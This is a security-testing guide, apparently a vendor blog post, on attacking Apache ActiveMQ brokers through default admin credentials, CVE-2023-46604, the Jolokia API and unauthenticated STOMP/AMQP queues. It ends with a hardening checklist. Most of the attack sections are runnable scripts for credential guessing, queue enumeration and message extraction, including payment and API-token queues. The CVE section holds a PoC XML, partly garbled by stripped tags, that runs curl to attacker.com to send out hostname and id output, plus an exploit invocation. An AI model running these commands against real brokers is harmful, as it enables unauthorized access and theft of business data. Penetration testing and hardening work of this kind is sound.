Apache ActiveMQ Security Testing: Default Credentials, Jolokia API, and CVE-2023-46604

Apache ActiveMQ is one of the most widely deployed open-source message brokers, used for enterprise integration, microservice communication, and event-driven architectures. Its attack surface includes: default admin/admin credentials on the web console at port 8161; CVE-2023-46604 โ€” a CVSS 10.0 unauthenticated RCE via the OpenWire protocol (port 61616) that enabled mass ransomware deployment in late 2023; the Jolokia JMX-over-HTTP API exposing broker management without authentication; and unauthenticated message access via STOMP and AMQP protocols. This guide covers systematic ActiveMQ security assessment.

Table of Contents

  1. Default Credentials and Web Console Access
  2. CVE-2023-46604: Unauthenticated RCE via OpenWire
  3. Jolokia JMX API Exploitation
  4. Queue Message Enumeration and Data Extraction
  5. ActiveMQ Security Hardening

Default Credentials and Web Console Access

ActiveMQ's web administration console runs on port 8161 with default credentials admin:admin. The console provides full broker management โ€” queue creation/deletion, message browsing, consumer enumeration, and connector configuration.

# ActiveMQ discovery and default credential test
ACTIVEMQ="http://activemq.internal:8161"

# Port scan for ActiveMQ services
nmap -sV -p 8161,61616,61613,5672,61614,1883 activemq.internal

# Test default admin credentials
curl -s -u admin:admin "${ACTIVEMQ}/admin/" | grep -i "activemq\|admin" | head -5
curl -s -u admin:admin "${ACTIVEMQ}/api/jolokia/version" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'ActiveMQ version: {d.get(\"value\",{}).get(\"agent\")}')
print(f'ActiveMQ server: {d.get(\"value\",{}).get(\"server\",{}).get(\"product\")}')
print(f'ActiveMQ version: {d.get(\"value\",{}).get(\"server\",{}).get(\"version\")}')
"

# Enumerate queues and topics via web API
curl -s -u admin:admin "${ACTIVEMQ}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/Queues" | python3 -c "
import json,sys
d=json.load(sys.stdin)
queues=d.get('value',[])
print(f'Queues: {len(queues)}')
for q in queues:
    print(f'  {q}')
"

# Browse queue messages via REST API (admin credentials)
QUEUE_NAME="paymentQueue"
curl -s -u admin:admin \
  "${ACTIVEMQ}/api/message/${QUEUE_NAME}?type=queue&body=true" | python3 -c "
import json,sys
msgs=json.load(sys.stdin)
for m in msgs[:5]:
    print(f'  MsgID={m.get(\"messageId\")} body={m.get(\"bodyText\",\"\")[:200]}')
"

# Try common credential combinations
for CREDS in "admin:admin" "admin:password" "admin:" "system:manager" "user:user"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" -u "${CREDS}" "${ACTIVEMQ}/admin/")
  echo "${CREDS}: HTTP ${CODE}"
done
Critical: The default admin:admin credential is present in the vast majority of ActiveMQ deployments that have never been hardened. Combined with CVE-2023-46604, unpatched ActiveMQ instances represent one of the highest-severity network exposures in enterprise environments.

CVE-2023-46604: Unauthenticated RCE via OpenWire

CVE-2023-46604 (CVSS 10.0) affects Apache ActiveMQ 5.x before 5.15.16, 5.16.x before 5.16.7, 5.17.x before 5.17.6, and 5.18.x before 5.18.3. The vulnerability in the OpenWire protocol deserializer allows unauthenticated remote code execution by sending a specially crafted ClassInfo message that causes the broker to load a remote ClassPathXmlApplicationContext.

# CVE-2023-46604 โ€” ActiveMQ OpenWire RCE
# Check version first
curl -s -u admin:admin "http://activemq.internal:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion" | python3 -c "
import json,sys
d=json.load(sys.stdin)
version=d.get('value','')
print(f'ActiveMQ version: {version}')
# Vulnerable: < 5.15.16, < 5.16.7, < 5.17.6, < 5.18.3
parts=str(version).split('.')
if len(parts)>=3:
    major,minor,patch=int(parts[0]),int(parts[1]),int(parts[2]) if parts[2].isdigit() else 0
    vulnerable = (minor==15 and patch<16) or (minor==16 and patch<7) or (minor==17 and patch<6) or (minor==18 and patch<3)
    print(f'VULNERABLE to CVE-2023-46604: {vulnerable}')
"

# The exploit sends a crafted ExceptionResponse ClassInfo packet to port 61616
# Public PoC: github.com/X1r0z/ActiveMQ-RCE
# The payload triggers the broker to fetch a remote XML config and instantiate beans

# Set up malicious ClassPathXmlApplicationContext XML (hosted on attacker server)
cat > /tmp/poc.xml << 'EOF'


    
        
            
                bash
                -c
                curl http://attacker.com/callback?host=$(hostname)&user=$(id | base64)
            
        
    

EOF

# Exploit command (using published PoC tooling)
# python3 exploit.py -i activemq.internal -p 61616 -u http://attacker.com/poc.xml

# Detection: check for exploit indicators in activemq.log
grep -i "ClassPathXmlApplicationContext\|ExceptionResponse\|unknown openwire command" \
  /opt/activemq/data/activemq.log 2>/dev/null | tail -20

# Version check via banner grab (OpenWire protocol handshake)
python3 << 'EOF'
import socket
s = socket.socket()
s.settimeout(5)
try:
    s.connect(("activemq.internal", 61616))
    banner = s.recv(1024).decode('utf-8', errors='replace')
    print(f"Banner: {banner[:300]}")
    # ActiveMQ OpenWire sends version in the initial handshake
    if "ActiveMQ" in banner:
        import re
        ver = re.search(r'ActiveMQ[\s/]+([\d.]+)', banner)
        if ver: print(f"ActiveMQ version from banner: {ver.group(1)}")
except Exception as e:
    print(f"Connection error: {e}")
finally:
    s.close()
EOF

Jolokia JMX API Exploitation

Jolokia provides HTTP-based access to JMX MBeans. In ActiveMQ, it is bundled and often accessible without separate authentication โ€” relying only on the web console credentials that default to admin/admin.

# Jolokia JMX API โ€” broker management without JMX client
JOLOKIA="http://activemq.internal:8161/api/jolokia"
AUTH="-u admin:admin"

# Get broker info
curl -s ${AUTH} "${JOLOKIA}/read/org.apache.activemq:type=Broker,brokerName=localhost" | python3 -c "
import json,sys
d=json.load(sys.stdin)
v=d.get('value',{})
print(f'Broker: {v.get(\"BrokerName\")}')
print(f'Version: {v.get(\"BrokerVersion\")}')
print(f'Uptime: {v.get(\"Uptime\")}')
print(f'Queues: {v.get(\"TotalDequeueCount\")}')
print(f'Connections: {v.get(\"CurrentConnectionsCount\")}')
"

# Enumerate all queue names and sizes
curl -s ${AUTH} "${JOLOKIA}/search/org.apache.activemq:type=Broker,*,destinationType=Queue,*" | python3 -c "
import json,sys
d=json.load(sys.stdin)
for q in d.get('value',[]):
    name=q.split('destinationName=')[1].split(',')[0] if 'destinationName=' in q else q
    print(f'Queue: {name}')
"

# Read message from queue via Jolokia (browse without consuming)
QUEUE="paymentQueue"
curl -s ${AUTH} "${JOLOKIA}/exec/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=${QUEUE}/browseMessages()" | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs=d.get('value',[])
print(f'Messages in queue: {len(msgs)}')
for m in msgs[:3]:
    print(f'  Body: {str(m)[:300]}')
"

# Invoke GC and read connector config
curl -s ${AUTH} "${JOLOKIA}/exec/java.lang:type=Memory/gc"
curl -s ${AUTH} "${JOLOKIA}/read/org.apache.activemq:type=Broker,brokerName=localhost,connectorName=openwire/TransportConnectors" | python3 -m json.tool | grep -i "uri\|host\|port"

# Create new queue via Jolokia (demonstrates write access)
curl -s ${AUTH} -X POST "${JOLOKIA}/exec/org.apache.activemq:type=Broker,brokerName=localhost/addQueue(java.lang.String)" \
  -H "Content-Type: application/json" \
  -d '{"type":"EXEC","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addQueue(java.lang.String)","arguments":["test.security.queue"]}'

Queue Message Enumeration and Data Extraction

ActiveMQ queues carry business-critical data: payment transactions, order events, user registrations, and inter-service API calls including authentication tokens. Unauthenticated or low-privilege access to queues enables complete business process monitoring and credential harvesting.

# STOMP protocol โ€” subscribe to all queues without web console access
# STOMP runs on port 61613 (TCP) โ€” often accessible without credentials
python3 << 'EOF'
import socket, time

s = socket.socket()
s.connect(("activemq.internal", 61613))

# STOMP CONNECT (try without credentials first)
s.send(b"CONNECT\naccept-version:1.2\nheart-beat:0,0\n\n\x00")
resp = s.recv(4096).decode()
print(f"CONNECT response: {resp[:200]}")

# Subscribe to all queues with wildcard
s.send(b"SUBSCRIBE\nid:sub1\ndestination:/queue/>\nack:auto\n\n\x00")
# Read messages for 10 seconds
s.settimeout(2)
while True:
    try:
        msg = s.recv(4096).decode()
        if msg:
            print(f"STOMP MESSAGE: {msg[:400]}")
    except: break
s.close()
EOF

# AMQP protocol โ€” access queues via AMQP (port 5672)
python3 << 'EOF'
try:
    import amqp
    conn = amqp.Connection(host="activemq.internal:5672",
                           userid="guest", password="guest")
    conn.connect()
    ch = conn.channel()
    # Passive=True โ€” don't create, just check existence
    for q_name in ["orders", "payments", "users", "notifications", "events"]:
        try:
            msg_count = ch.queue_declare(q_name, passive=True).message_count
            print(f"Queue '{q_name}': {msg_count} messages")
            if msg_count > 0:
                msg = ch.basic_get(q_name, no_ack=True)
                if msg: print(f"  Sample: {msg.body[:200]}")
        except: pass
    conn.close()
except ImportError:
    print("pip install amqp")
except Exception as e:
    print(f"AMQP error: {e}")
EOF

# Extract queue messages via web REST API (with admin creds)
ACTIVEMQ="http://activemq.internal:8161"
for QUEUE in orders payments user-registrations api-tokens notifications; do
  COUNT=$(curl -s -u admin:admin "${ACTIVEMQ}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=${QUEUE}/QueueSize" 2>/dev/null | python3 -c "import json,sys; print(json.load(sys.stdin).get('value',0))" 2>/dev/null)
  if [ -n "$COUNT" ] && [ "$COUNT" -gt 0 ] 2>/dev/null; then
    echo "Queue '${QUEUE}': ${COUNT} messages โ€” EXTRACTING"
    curl -s -u admin:admin "${ACTIVEMQ}/api/message/${QUEUE}?type=queue" | head -100
  fi
done

Automated ActiveMQ Security Testing

Ironimo can assess your Apache ActiveMQ deployments for CVE-2023-46604 exposure, default credentials, Jolokia API misconfigurations, and unauthenticated message queue access โ€” covering the full broker attack surface.

Start free scan

Hardening Checklist

IssueDefault StateFix
Default admin:admin credentialsadmin:admin in jetty-realm.propertiesChange credentials immediately; use strong random password; consider external LDAP auth
CVE-2023-46604 unpatchedAffects versions < 5.18.3Upgrade to ActiveMQ 5.18.3+; if unable, firewall port 61616 to trusted clients only
Jolokia unauthenticatedInherits web console auth (admin/admin)Restrict Jolokia to localhost; add separate Jolokia authentication; disable if not needed
STOMP/AMQP no authguest:guest or no authEnable JAAS authentication on all connectors; disable unused protocol connectors
Port 61616 internet-accessibleBinds to all interfacesRestrict OpenWire connector to 127.0.0.1 or internal subnet; use TLS for remote connections
Guest consumer accessOften left as defaultConfigure per-queue authorization in activemq.xml; use authorizationPlugin with role-based ACLs
Key findings to report: Default admin:admin credentials (critical); CVE-2023-46604 unpatched instance accessible on port 61616 (critical); Jolokia API allowing unauthenticated queue management (high); STOMP/AMQP accessible with default guest credentials (high); queue messages containing PII, payment data, or API tokens (high).